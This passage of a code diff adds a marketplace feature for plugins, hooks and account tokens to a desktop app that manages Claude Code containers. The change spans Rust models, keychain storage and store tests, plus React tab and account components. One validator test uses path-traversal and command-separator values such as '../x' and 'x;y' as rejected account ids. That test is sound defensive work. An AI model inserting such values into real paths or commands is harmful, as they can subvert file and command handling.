serde_json::json!({"type": "global"})
);
assert_eq!(
serde_json::to_value(InstallScope::Project {
project_id: "p".into()
})
.unwrap(),
serde_json::json!({"type": "project", "project_id": "p"})
);
}
#[test]
fn kinds_serialise_snake_case() {
assert_eq!(serde_json::to_value(ItemKind::Plugin).unwrap(), "plugin");
assert_eq!(
serde_json::to_value(AccountMethod::GhHost).unwrap(),
"gh_host"
);
}
#[test]
fn settings_and_projects_saved_before_the_marketplace_still_load() {
let mut settings = serde_json::to_value(crate::models::AppSettings::default()).unwrap();
for key in [
"marketplace_accounts",
"marketplaces",
"global_marketplace_installs",
] {
settings.as_object_mut().unwrap().remove(key);
}
let settings: crate::models::AppSettings = serde_json::from_value(settings).unwrap();
assert!(settings.marketplace_accounts.is_empty());
assert!(settings.marketplaces.is_empty());
assert!(settings.global_marketplace_installs.is_empty());
let mut project =
serde_json::to_value(crate::models::Project::new("p".to_string(), Vec::new())).unwrap();
for key in ["marketplace_installs", "marketplace_disabled"] {
project.as_object_mut().unwrap().remove(key);
}
let project: crate::models::Project = serde_json::from_value(project).unwrap();
assert!(project.marketplace_installs.is_empty());
assert!(project.marketplace_disabled.is_empty());
}
}
+1
View File
@@ -1,6 +1,7 @@
pub mod app_settings;
pub mod container_config;
pub mod gateway_settings;
pub mod marketplace;
pub mod migration;
pub mod note;
pub mod project;
+33 -5
View File
@@ -166,6 +166,9 @@ pub enum PermissionMode {
Default,
/// Auto-accept file edits, prompt for everything else.
AcceptEdits,
/// Claude Code's classifier approves safe actions and blocks risky ones,
/// without prompting.
Auto,
/// Skip all permission prompts.
Bypass,
}
@@ -180,6 +183,7 @@ impl PermissionMode {
PermissionMode::AcceptEdits => {
vec!["--permission-mode".to_string(), "acceptEdits".to_string()]
}
PermissionMode::Auto => vec!["--permission-mode".to_string(), "auto".to_string()],
PermissionMode::Bypass => vec!["--dangerously-skip-permissions".to_string()],
}
}
@@ -191,6 +195,7 @@ impl PermissionMode {
PermissionMode::Plan => "plan",
PermissionMode::Default => "default",
PermissionMode::AcceptEdits => "acceptEdits",
PermissionMode::Auto => "auto",
PermissionMode::Bypass => "bypass",
}
}
@@ -441,6 +446,12 @@ pub struct Project {
/// User-defined display names for terminal tabs, keyed by session id.
#[serde(default)]
pub renamed_session_names: HashMap<String, String>,
/// Marketplace items installed for this project only (spec §2).
#[serde(default)]
pub marketplace_installs: Vec<super::marketplace::MarketplaceInstall>,
/// Global marketplace installs this project opts out of.
#[serde(default)]
pub marketplace_disabled: Vec<super::marketplace::MarketplaceItemRef>,
pub created_at: String,
pub updated_at: String,
}
@@ -688,6 +699,8 @@ impl Project {
claude_instructions: None,
claude_code_settings: None,
renamed_session_names: HashMap::new(),
marketplace_installs: Vec::new(),
marketplace_disabled: Vec::new(),
created_at: now.clone(),
updated_at: now,
}
@@ -784,7 +797,10 @@ mod tests {
}
fn env(key: &str, value: &str) -> EnvVar {
EnvVar { key: key.to_string(), value: value.to_string() }
EnvVar {
key: key.to_string(),
value: value.to_string(),
}
}
#[test]
@@ -882,7 +898,10 @@ mod tests {
// `merge_claude_code_settings` spells it. `main` resolved this with
// `if p.env_scrub { true } else { g.env_scrub }`, i.e. the global won —
// and it has to go on winning, because the user never turned this off.
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
let global = ClaudeCodeSettings {
env_scrub: Some(true),
..Default::default()
};
assert_eq!(
stored.env_scrub.or(global.env_scrub),
Some(true),
@@ -897,7 +916,10 @@ mod tests {
let json = r#"{ "env_scrub": false }"#;
let chosen: ClaudeCodeSettings = serde_json::from_str(json).unwrap();
assert_eq!(chosen.env_scrub, Some(false));
let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
let global = ClaudeCodeSettings {
env_scrub: Some(true),
..Default::default()
};
assert_eq!(chosen.env_scrub.or(global.env_scrub), Some(false));
}
@@ -911,7 +933,10 @@ mod tests {
assert_eq!(json, "{}");
assert!(!json.contains("null"));
let partial = ClaudeCodeSettings { env_scrub: Some(false), ..Default::default() };
let partial = ClaudeCodeSettings {
env_scrub: Some(false),
..Default::default()
};
let json = serde_json::to_string(&partial).unwrap();
assert_eq!(json, r#"{"env_scrub":false}"#);
// And it reads back as what it is.
@@ -979,7 +1004,10 @@ mod tests {
});
let migrated = Project::migrate_from_value(legacy);
let obj = migrated.as_object().unwrap();
assert!(obj.contains_key("paths"), "the migration should still do its own job");
assert!(
obj.contains_key("paths"),
"the migration should still do its own job"
);
assert!(!obj.contains_key("auth_bridge_enabled"));
assert!(!obj.contains_key("browser_view_enabled"));
}
+114
View File
@@ -25,6 +25,8 @@
//! "only overwrite what the import actually has" treatment as the other
//! three secrets.
use std::collections::BTreeMap;
use serde::{Deserialize, Serialize};
use super::{AppSettings, ImageSource};
@@ -56,6 +58,12 @@ pub struct ExportedSecrets {
/// export wholesale.
#[serde(default)]
pub web_terminal_access_token: Option<String>,
/// Marketplace account tokens (`Token` and `GhContainer` accounts; a
/// `GhHost` account stores none), keyed by account id. They live in the
/// keychain, not in `AppSettings::marketplace_accounts`, so they travel
/// here or an imported account could never fetch.
#[serde(default)]
pub marketplace_account_tokens: BTreeMap<String, String>,
}
impl ExportedSecrets {
@@ -65,6 +73,7 @@ impl ExportedSecrets {
&& blank(&self.gateway_api_key)
&& blank(&self.gateway_master_key)
&& blank(&self.web_terminal_access_token)
&& self.marketplace_account_tokens.values().all(|v| v.trim().is_empty())
}
}
@@ -147,6 +156,21 @@ pub struct SettingsImportPreview {
pub image_source: ImageSource,
#[serde(default)]
pub custom_image_name: Option<String>,
/// Marketplaces the import configures.
#[serde(default)]
pub marketplace_count: usize,
/// Hooks the import installs for every project. A hook runs commands in
/// each project container, and an imported install skips the confirm
/// step an install from the Marketplace tab shows, so the preview warns.
#[serde(default)]
pub global_hook_install_count: usize,
/// Plugins the import installs for every project. A plugin can bring
/// its own hooks and MCP servers, and skips the same confirm step.
#[serde(default)]
pub global_plugin_install_count: usize,
/// Non-blank marketplace account tokens the import restores.
#[serde(default)]
pub marketplace_account_token_count: usize,
}
/// A cap on how much of a decrypted, not-yet-trusted string gets echoed back
@@ -197,6 +221,25 @@ impl SettingsImportPreview {
gateway_api_base: sanitized_non_blank(&payload.settings.gateway.api_base),
image_source: payload.settings.image_source.clone(),
custom_image_name: sanitized_non_blank(&payload.settings.custom_image_name),
marketplace_count: payload.settings.marketplaces.len(),
global_hook_install_count: payload
.settings
.global_marketplace_installs
.iter()
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook)
.count(),
global_plugin_install_count: payload
.settings
.global_marketplace_installs
.iter()
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Plugin)
.count(),
marketplace_account_token_count: payload
.secrets
.marketplace_account_tokens
.values()
.filter(|v| !v.trim().is_empty())
.count(),
}
}
}
@@ -236,6 +279,7 @@ mod tests {
gateway_api_key: Some("sk-another-secret".to_string()),
gateway_master_key: Some("sk-triple-c-yet-another".to_string()),
web_terminal_access_token: Some("wt-super-secret-token".to_string()),
..Default::default()
});
let preview = SettingsImportPreview::from_payload(&payload);
let serialized = serde_json::to_string(&preview).unwrap();
@@ -260,6 +304,7 @@ mod tests {
gateway_api_key: None,
gateway_master_key: None,
web_terminal_access_token: Some(" ".to_string()),
..Default::default()
});
let preview = SettingsImportPreview::from_payload(&payload);
assert!(!preview.has_claude_oauth_token);
@@ -363,4 +408,73 @@ mod tests {
shown.chars().count()
);
}
#[test]
fn marketplaces_global_hooks_and_account_tokens_are_disclosed_without_the_tokens() {
use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall};
let mut payload = payload_with(ExportedSecrets {
marketplace_account_tokens: std::collections::BTreeMap::from([
("a1".to_string(), "test-token-not-real-1".to_string()),
("a2".to_string(), " ".to_string()),
]),
..Default::default()
});
payload.settings.marketplaces.push(Marketplace {
id: "m1".into(),
name: "Team".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
});
let install = |kind, key: &str| MarketplaceInstall {
marketplace_id: "m1".into(),
kind,
key: key.into(),
commit: "a".repeat(40),
};
payload.settings.global_marketplace_installs = vec![
install(ItemKind::Hook, "fmt"),
install(ItemKind::Agent, "rev"),
install(ItemKind::Hook, "lint"),
];
let preview = SettingsImportPreview::from_payload(&payload);
assert_eq!(preview.marketplace_count, 1);
assert_eq!(preview.global_hook_install_count, 2);
assert_eq!(preview.marketplace_account_token_count, 1, "a blank token is absent");
assert!(!serde_json::to_string(&preview).unwrap().contains("test-token-not-real"));
}
#[test]
fn a_bundle_holding_only_a_marketplace_token_is_not_empty() {
let secrets = ExportedSecrets {
marketplace_account_tokens: std::collections::BTreeMap::from([(
"a1".to_string(),
"test-token-not-real".to_string(),
)]),
..Default::default()
};
assert!(!secrets.is_empty());
}
#[test]
fn global_plugin_installs_are_counted_apart_from_hooks() {
use crate::models::marketplace::{ItemKind, MarketplaceInstall};
let mut payload = payload_with(ExportedSecrets::default());
let install = |kind, key: &str| MarketplaceInstall {
marketplace_id: "m1".into(),
kind,
key: key.into(),
commit: "a".repeat(40),
};
payload.settings.global_marketplace_installs = vec![
install(ItemKind::Plugin, "p1"),
install(ItemKind::Hook, "h1"),
install(ItemKind::Plugin, "p2"),
install(ItemKind::Skill, "s1"),
];
let preview = SettingsImportPreview::from_payload(&payload);
assert_eq!(preview.global_plugin_install_count, 2);
assert_eq!(preview.global_hook_install_count, 1);
}
}
+194
View File
@@ -2,6 +2,7 @@ use std::fs;
use std::path::{Path, PathBuf};
use std::sync::Mutex;
use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef};
use crate::models::Project;
/// The sticky marker for `projects.json`: `projects.json.corrupt`, beside it.
@@ -204,6 +205,27 @@ impl ProjectsStore {
}
}
/// Replace a project with `updated`, after `restore` has copied onto it
/// the fields the store owns from the record *as stored under the lock*.
/// `update_project` restores from a copy it read earlier, so an install
/// or a status change landing in between would otherwise be written over
/// (re-review round 2).
pub fn update_restoring(
&self,
mut updated: Project,
restore: impl FnOnce(&mut Project, &Project),
) -> Result<Project, String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == updated.id)
.ok_or_else(|| format!("Project {} not found", updated.id))?;
restore(&mut updated, p);
*p = updated.clone();
self.save(&projects)?;
Ok(updated)
}
pub fn remove(&self, id: &str) -> Result<(), String> {
let mut projects = self.lock();
let initial_len = projects.len();
@@ -256,6 +278,60 @@ impl ProjectsStore {
}
}
/// Read-modify-write of one project's marketplace installs and opt-outs
/// under the store's lock, touching nothing else (PR review #2): the
/// marketplace commands must not write back a whole record read before a
/// start changed its status or container id. When `f` fails nothing is
/// saved. Returns `f`'s value and the saved project.
pub fn update_marketplace_fields<T>(
&self,
project_id: &str,
f: impl FnOnce(
&mut Vec<MarketplaceInstall>,
&mut Vec<MarketplaceItemRef>,
) -> Result<T, String>,
) -> Result<(T, Project), String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == project_id)
.ok_or_else(|| format!("Project {} not found", project_id))?;
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
let out = f(&mut installs, &mut disabled)?;
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
let saved = p.clone();
self.save(&projects)?;
Ok((out, saved))
}
/// [`Self::update_marketplace_fields`] over every project at once, in one
/// save. Projects `f` leaves as they were are not touched at all.
pub fn update_all_marketplace_fields(
&self,
mut f: impl FnMut(&mut Vec<MarketplaceInstall>, &mut Vec<MarketplaceItemRef>),
) -> Result<(), String> {
let mut projects = self.lock();
let mut changed = false;
for p in projects.iter_mut() {
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
f(&mut installs, &mut disabled);
if installs != p.marketplace_installs || disabled != p.marketplace_disabled {
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
changed = true;
}
}
if changed {
self.save(&projects)?;
}
Ok(())
}
pub fn set_container_id(&self, project_id: &str, container_id: Option<String>) -> Result<(), String> {
let mut projects = self.lock();
if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
@@ -410,4 +486,122 @@ mod tests {
fs::remove_dir_all(&dir).ok();
}
fn market_install(key: &str) -> crate::models::marketplace::MarketplaceInstall {
crate::models::marketplace::MarketplaceInstall {
marketplace_id: "m1".into(),
kind: crate::models::marketplace::ItemKind::Agent,
key: key.into(),
commit: "a".repeat(40),
}
}
#[test]
fn marketplace_edits_keep_a_concurrent_status_and_container_change() {
// PR review #2: a marketplace install/uninstall used to write back a
// whole record read before a start flipped status and container_id,
// leaving the project stuck at Starting with no container.
let dir = temp_dir("marketplace-fields");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
// The start flow moves on while a marketplace command is running.
store.set_container_id(&id, Some("cid-1".into())).unwrap();
store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap();
let (added, saved) = store
.update_marketplace_fields(&id, |installs, disabled| {
installs.push(market_install("a"));
disabled.push(market_install("g").item_ref());
Ok(installs.len())
})
.unwrap();
assert_eq!(added, 1);
assert_eq!(saved.container_id.as_deref(), Some("cid-1"));
assert_eq!(saved.status, crate::models::ProjectStatus::Starting);
let on_disk: Vec<Project> =
serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap();
assert_eq!(on_disk[0].container_id.as_deref(), Some("cid-1"));
assert_eq!(on_disk[0].marketplace_installs, vec![market_install("a")]);
// A refusal inside the closure writes nothing.
let before = fs::read_to_string(dir.join("projects.json")).unwrap();
let err = store
.update_marketplace_fields(&id, |installs, _| {
installs.clear();
Err::<(), _>("not installed".to_string())
})
.unwrap_err();
assert_eq!(err, "not installed");
assert_eq!(store.get(&id).unwrap().marketplace_installs.len(), 1);
assert_eq!(fs::read_to_string(dir.join("projects.json")).unwrap(), before);
assert!(store.update_marketplace_fields("nope", |_, _| Ok(())).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn a_project_save_keeps_a_marketplace_install_made_after_it_read_the_record() {
// Re-review round 2: `update_project` read the stored record, then
// wrote the whole payload back later. An install landing in between
// was lost. The restore now runs against the record under the lock.
let dir = temp_dir("save-restore");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
let mut payload = store.get(&id).unwrap(); // the Config tab's copy
payload.name = "renamed".to_string();
store
.update_marketplace_fields(&id, |installs, _| {
installs.push(market_install("late"));
Ok(())
})
.unwrap();
let saved = store
.update_restoring(payload, |incoming, stored| {
incoming.marketplace_installs = stored.marketplace_installs.clone();
incoming.marketplace_disabled = stored.marketplace_disabled.clone();
})
.unwrap();
assert_eq!(saved.name, "renamed");
assert_eq!(saved.marketplace_installs, vec![market_install("late")]);
assert_eq!(store.get(&id).unwrap().marketplace_installs, vec![market_install("late")]);
let mut ghost = Project::new("ghost".to_string(), Vec::new());
ghost.id = "nope".into();
assert!(store.update_restoring(ghost, |_, _| {}).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn marketplace_edits_across_all_projects_touch_only_those_fields() {
let dir = temp_dir("marketplace-all");
let mut a = Project::new("a".to_string(), Vec::new());
a.marketplace_installs = vec![market_install("x")];
let b = Project::new("b".to_string(), Vec::new());
let (a_id, b_id) = (a.id.clone(), b.id.clone());
let store = store_over(&dir, vec![a, b]);
store.set_container_id(&b_id, Some("cid-b".into())).unwrap();
store.update_status(&a_id, crate::models::ProjectStatus::Running).unwrap();
let b_updated_at = store.get(&b_id).unwrap().updated_at;
store
.update_all_marketplace_fields(|installs, _| {
installs.retain(|i| i.marketplace_id != "m1")
})
.unwrap();
let a = store.get(&a_id).unwrap();
assert!(a.marketplace_installs.is_empty());
assert_eq!(a.status, crate::models::ProjectStatus::Running);
let b = store.get(&b_id).unwrap();
assert_eq!(b.container_id.as_deref(), Some("cid-b"));
assert_eq!(b.updated_at, b_updated_at, "an untouched project is not rewritten");
fs::remove_dir_all(&dir).ok();
}
}
+54
View File
@@ -369,6 +369,44 @@ pub fn store_gateway_master_key(key: &str) -> Result<(), String> {
bump_gateway_secret_version()
}
// ─────────────────────────────────────────────────────────────────────────────
// Marketplace account tokens (global, one entry per account)
// ─────────────────────────────────────────────────────────────────────────────
/// Keychain service prefix; the account id completes it.
const MARKETPLACE_TOKEN_SERVICE_PREFIX: &str = "triple-c-marketplace-account-";
/// The service name for one account. Ids are uuids; anything else is refused
/// before a keychain entry is constructed.
fn marketplace_token_service(account_id: &str) -> Result<String, String> {
let ok = !account_id.is_empty()
&& account_id.len() <= 64
&& account_id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-');
if !ok {
return Err(format!("Invalid marketplace account id {:?}", account_id));
}
Ok(format!("{}{}", MARKETPLACE_TOKEN_SERVICE_PREFIX, account_id))
}
pub fn store_marketplace_token(account_id: &str, token: &str) -> Result<(), String> {
let service = marketplace_token_service(account_id)?;
if token.trim().is_empty() {
return Err("Refusing to store an empty marketplace token.".to_string());
}
let entry = keyring::Entry::new(&service, KEYCHAIN_ACCOUNT)
.map_err(|e| format!("Keyring error: {}", e))?;
entry
.set_password(token.trim())
.map_err(|e| format!("Failed to store the marketplace account token: {}", e))
}
pub fn get_marketplace_token(account_id: &str) -> Result<Option<String>, String> {
read_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
}
pub fn delete_marketplace_token(account_id: &str) -> Result<(), String> {
delete_entry(&marketplace_token_service(account_id)?, "the marketplace account token")
}
#[cfg(test)]
mod tests {
@@ -426,6 +464,22 @@ mod tests {
assert!(err.contains("brand-new-token"), "{}", err);
}
/// Account ids become part of a keychain service name, so a malformed one
/// is refused before any entry is constructed — and so before the
/// keychain is touched, which is also what lets this run in CI.
#[test]
fn marketplace_token_ids_are_validated_before_the_keychain() {
for bad in ["", "../x", "a b", "x;y", &"a".repeat(65)] {
let err = store_marketplace_token(bad, "test-token-not-real").unwrap_err();
assert!(err.contains("Invalid marketplace account id"), "{bad:?}: {err}");
assert!(!err.contains("test-token-not-real"));
assert!(get_marketplace_token(bad).is_err());
assert!(delete_marketplace_token(bad).is_err());
}
let err = store_marketplace_token("0b9e6a2c-1111-4222-8333-944445555666", " ").unwrap_err();
assert!(err.contains("empty"));
}
/// The blanked-field case. `AccessSection.tsx` sends `gitToken || null`, so
/// a cleared field arrives as `None` — and before this existed, `None` was
/// skipped and the old secret stayed in the keychain forever.
+9 -1
View File
@@ -21,7 +21,9 @@ import { useTerminal } from "./hooks/useTerminal";
import { useSTT } from "./hooks/useSTT";
import { useContainerProgress } from "./hooks/useContainerProgress";
import { useKeyboardShortcuts } from "./hooks/useKeyboardShortcuts";
import { useAppState, isHomeTab, tabKeyId, homeTabKey } from "./store/appState";
import { useMarketplaceSyncToasts } from "./hooks/useMarketplace";
import MarketplaceView from "./components/marketplace/MarketplaceView";
import { useAppState, isHomeTab, tabKeyId, homeTabKey, MARKETPLACE_TAB_KEY } from "./store/appState";
import { reconcileProjectStatuses } from "./lib/tauri-commands";
export default function App() {
@@ -72,6 +74,7 @@ export default function App() {
useContainerProgress();
useKeyboardShortcuts();
useMarketplaceSyncToasts();
// Initialize on mount
useEffect(() => {
@@ -159,6 +162,11 @@ export default function App() {
/>
</PaneVisibilityProvider>
))}
{tabOrder.includes(MARKETPLACE_TAB_KEY) && (
<PaneVisibilityProvider visible={activeTabKey === MARKETPLACE_TAB_KEY}>
<MarketplaceView active={activeTabKey === MARKETPLACE_TAB_KEY} />
</PaneVisibilityProvider>
)}
</div>
)}
</main>
+18 -1
View File
@@ -1,7 +1,7 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen } from "@testing-library/react";
import MainTabs from "./MainTabs";
import { useAppState, homeTabKey, terminalTabKey } from "../../store/appState";
import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "../../store/appState";
import type { Project, TerminalSession } from "../../lib/types";
const close = vi.fn();
@@ -265,3 +265,20 @@ describe("MainTabs reordering", () => {
}
});
});
describe("marketplace tab", () => {
beforeEach(() => {
useAppState.setState({
tabOrder: [HOME, MARKETPLACE_TAB_KEY],
activeTabKey: MARKETPLACE_TAB_KEY,
activeSessionId: null,
});
});
it("renders a Marketplace tab that closes", () => {
render(<MainTabs />);
expect(screen.getByRole("tab", { name: /marketplace/i })).toHaveAttribute("aria-selected", "true");
fireEvent.click(screen.getByRole("button", { name: "Close Marketplace tab" }));
expect(useAppState.getState().tabOrder).toEqual([HOME]);
});
});
+41 -2
View File
@@ -5,6 +5,7 @@ import { useProjects } from "../../hooks/useProjects";
import {
useAppState,
isHomeTab,
isMarketplaceTab,
tabKeyId,
terminalTabKey,
} from "../../store/appState";
@@ -26,6 +27,7 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
plan: { text: "plan", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
default: { text: "ask", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
acceptEdits: { text: "edits", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
auto: { text: "auto", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
bypass: { text: "bypass", className: "bg-[var(--warning-muted)] text-[var(--warning)]" },
};
@@ -40,12 +42,13 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
export default function MainTabs() {
const { sessions, close } = useTerminal();
const { projects, update } = useProjects();
const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, moveTab } = useAppState(
const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, closeMarketplaceTab, moveTab } = useAppState(
useShallow((s) => ({
tabOrder: s.tabOrder,
activeTabKey: s.activeTabKey,
setActiveTabKey: s.setActiveTabKey,
closeHomeTab: s.closeHomeTab,
closeMarketplaceTab: s.closeMarketplaceTab,
moveTab: s.moveTab,
})),
);
@@ -191,6 +194,7 @@ export default function MainTabs() {
* worse than no ghost.
*/
const tabLabel = (key: string): string => {
if (isMarketplaceTab(key)) return "Marketplace";
if (isHomeTab(key)) {
return projects.find((p) => p.id === tabKeyId(key))?.name ?? "";
}
@@ -271,7 +275,7 @@ export default function MainTabs() {
x: e.clientX - drag.offsetX,
y: drag.top,
label: tabLabel(drag.key),
icon: isHomeTab(drag.key) ? "⌂" : "▣",
icon: isMarketplaceTab(drag.key) ? "◈" : isHomeTab(drag.key) ? "⌂" : "▣",
});
},
onPointerUp: (e: React.PointerEvent<HTMLDivElement>) => {
@@ -313,6 +317,41 @@ export default function MainTabs() {
const renderTab = (key: string, index: number) => {
const active = activeTabKey === key;
if (isMarketplaceTab(key)) {
return (
<div
role="tab"
aria-selected={active}
tabIndex={0}
data-tab-index={index}
onClick={() => activateTab(key)}
onKeyDown={(e) => {
if (e.key === "Enter" || e.key === " ") {
e.preventDefault();
setActiveTabKey(key);
}
}}
{...pointerProps(key, false)}
className={tabClass(active, dragKey === key)}
>
<span aria-hidden="true" className="text-[var(--text-secondary)]">◈</span>
<span className="truncate max-w-[160px]">Marketplace</span>
<button
type="button"
onClick={(e) => {
e.stopPropagation();
closeMarketplaceTab();
}}
aria-label="Close Marketplace tab"
title="Close tab"
className="w-6 h-6 flex items-center justify-center rounded-[var(--radius-control)] text-[var(--text-secondary)] hover:text-[var(--error)] hover:bg-[var(--bg-tertiary)] transition-colors"
>
<span aria-hidden="true">×</span>
</button>
</div>
);
}
if (isHomeTab(key)) {
const projectId = tabKeyId(key);
const project = projects.find((p) => p.id === projectId);
+1 -1
View File
@@ -78,7 +78,7 @@ export default function NotesDock() {
if (!notesDockOpen) return null;
// Follow whatever is in front: a home tab is its own project, a terminal tab
// is the project it belongs to.
// is the project it belongs to. The Marketplace tab belongs to no project.
let projectId: string | null = null;
if (activeTabKey && isHomeTab(activeTabKey)) {
projectId = tabKeyId(activeTabKey);
@@ -0,0 +1,75 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { AppSettings } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const testMarketplaceAccount = vi.fn();
const removeMarketplaceAccount = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
testMarketplaceAccount: (id: string) => testMarketplaceAccount(id),
removeMarketplaceAccount: (id: string) => removeMarketplaceAccount(id),
}));
vi.mock("./AddAccountModal", () => ({ default: () => <div>add account modal</div> }));
import AccountsPane from "./AccountsPane";
const settings = {
marketplace_accounts: [
{ id: "a1", label: "Personal", host: "github.com", method: "gh_host", username: "me" },
{ id: "a2", label: "Gitea", host: "repo.example.com", method: "token", username: "jk" },
],
marketplaces: [{ id: "m1", name: "Team", url: "https://repo.example.com/t/m.git", branch: null, account_id: "a2" }],
global_marketplace_installs: [],
} as unknown as AppSettings;
describe("AccountsPane", () => {
beforeEach(() => {
vi.clearAllMocks();
useAppState.setState({ appSettings: settings, toasts: [] });
});
it("lists accounts with their method and usage", () => {
render(<AccountsPane mp={{} as MarketplaceApi} />);
expect(screen.getByText("Personal")).toBeInTheDocument();
expect(screen.getByText(/gh on this computer/)).toBeInTheDocument();
expect(screen.getByText(/Used by Team$/)).toBeInTheDocument();
});
it("tests an account", async () => {
testMarketplaceAccount.mockResolvedValue("me");
render(<AccountsPane mp={{} as MarketplaceApi} />);
fireEvent.click(screen.getByRole("button", { name: "Test Personal" }));
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
expect(useAppState.getState().toasts[0].message).toContain("me");
});
// F5: the backend refuses to remove an account a marketplace uses, so the
// UI must not promise otherwise with a confirm modal — Remove is disabled
// with a hint instead, and there is no confirm step to click through.
it("disables Remove for an account in use, with a hint", () => {
render(<AccountsPane mp={{} as MarketplaceApi} />);
const removeGitea = screen.getByRole("button", { name: "Remove Gitea" });
expect(removeGitea).toHaveAttribute("aria-disabled", "true");
expect(screen.getByText(/Used by Team.*change or remove that marketplace first/)).toBeInTheDocument();
fireEvent.click(removeGitea);
expect(removeMarketplaceAccount).not.toHaveBeenCalled();
expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
});
it("removes an unused account", async () => {
removeMarketplaceAccount.mockResolvedValue({ ...settings, marketplace_accounts: [settings.marketplace_accounts[1]] });
render(<AccountsPane mp={{} as MarketplaceApi} />);
const removePersonal = screen.getByRole("button", { name: "Remove Personal" });
expect(removePersonal).not.toHaveAttribute("aria-disabled");
fireEvent.click(removePersonal);
await waitFor(() => expect(removeMarketplaceAccount).toHaveBeenCalledWith("a1"));
await waitFor(() => expect(useAppState.getState().appSettings!.marketplace_accounts).toHaveLength(1));
});
it("opens the add dialog", () => {
render(<AccountsPane mp={{} as MarketplaceApi} />);
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
expect(screen.getByText("add account modal")).toBeInTheDocument();
});
});
@@ -0,0 +1,108 @@
import { useState } from "react";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
import { useAppState } from "../../store/appState";
import { removeMarketplaceAccount, testMarketplaceAccount } from "../../lib/tauri-commands";
import type { AccountMethod, MarketplaceAccount } from "../../lib/types";
import Button from "../ui/Button";
import AddAccountModal from "./AddAccountModal";
const METHOD_LABEL: Record<AccountMethod, string> = {
gh_host: "GitHub — gh on this computer",
gh_container: "GitHub — signed in via container",
token: "Access token",
};
export default function AccountsPane(_props: { mp: MarketplaceApi }) {
const appSettings = useAppState((s) => s.appSettings);
const setAppSettings = useAppState((s) => s.setAppSettings);
const pushToast = useAppState((s) => s.pushToast);
const [adding, setAdding] = useState(false);
const [testing, setTesting] = useState<string | null>(null);
const [removing, setRemoving] = useState<string | null>(null);
const accounts = appSettings?.marketplace_accounts ?? [];
const marketplaces = appSettings?.marketplaces ?? [];
const usedBy = (id: string) => marketplaces.filter((m) => m.account_id === id).map((m) => m.name);
const test = async (a: MarketplaceAccount) => {
setTesting(a.id);
try {
const login = await testMarketplaceAccount(a.id);
pushToast({ kind: "success", message: `${a.label} works — signed in as ${login}` });
} catch (e) {
pushToast({ kind: "error", message: `${a.label} could not sign in`, detail: String(e) });
} finally {
setTesting(null);
}
};
const remove = async (a: MarketplaceAccount) => {
setRemoving(a.id);
try {
setAppSettings(await removeMarketplaceAccount(a.id));
} catch (e) {
pushToast({ kind: "error", message: `Could not remove ${a.label}`, detail: String(e) });
} finally {
setRemoving(null);
}
};
return (
<div className="p-4 space-y-3 max-w-3xl">
<div className="flex items-center justify-between">
<p className="text-xs text-[var(--text-secondary)]">
Accounts are used to fetch private marketplaces. Tokens are kept in your OS keychain and never enter
containers.
</p>
<Button size="md" variant="secondary" onClick={() => setAdding(true)}>
Add account
</Button>
</div>
{accounts.length === 0 && <p className="text-xs text-[var(--text-secondary)]">No accounts yet. Public repositories need none.</p>}
<ul className="space-y-2">
{accounts.map((a) => {
const users = usedBy(a.id);
const inUse = users.length > 0;
return (
<li
key={a.id}
className="flex items-center justify-between gap-2 p-2 rounded-[var(--radius-control)] border border-[var(--border-color)]"
>
<div className="min-w-0 text-xs">
<p className="font-medium">{a.label}</p>
<p className="text-[var(--text-secondary)]">
{METHOD_LABEL[a.method]} · {a.host}
{a.username ? ` · ${a.username}` : ""}
</p>
{inUse && <p className="text-[var(--text-secondary)]">Used by {users.join(", ")}</p>}
</div>
<div className="flex gap-1 flex-shrink-0">
<Button
size="sm"
variant="ghost"
aria-label={`Test ${a.label}`}
disabled={testing === a.id}
onClick={() => void test(a)}
>
{testing === a.id ? "Testing…" : "Test"}
</Button>
<Button
size="sm"
variant="ghost"
aria-label={`Remove ${a.label}`}
disabled={removing === a.id}
unavailable={inUse}
unavailableReason={`Used by ${users.join(", ")} — change or remove that marketplace first`}
onClick={() => void remove(a)}
>
Remove
</Button>
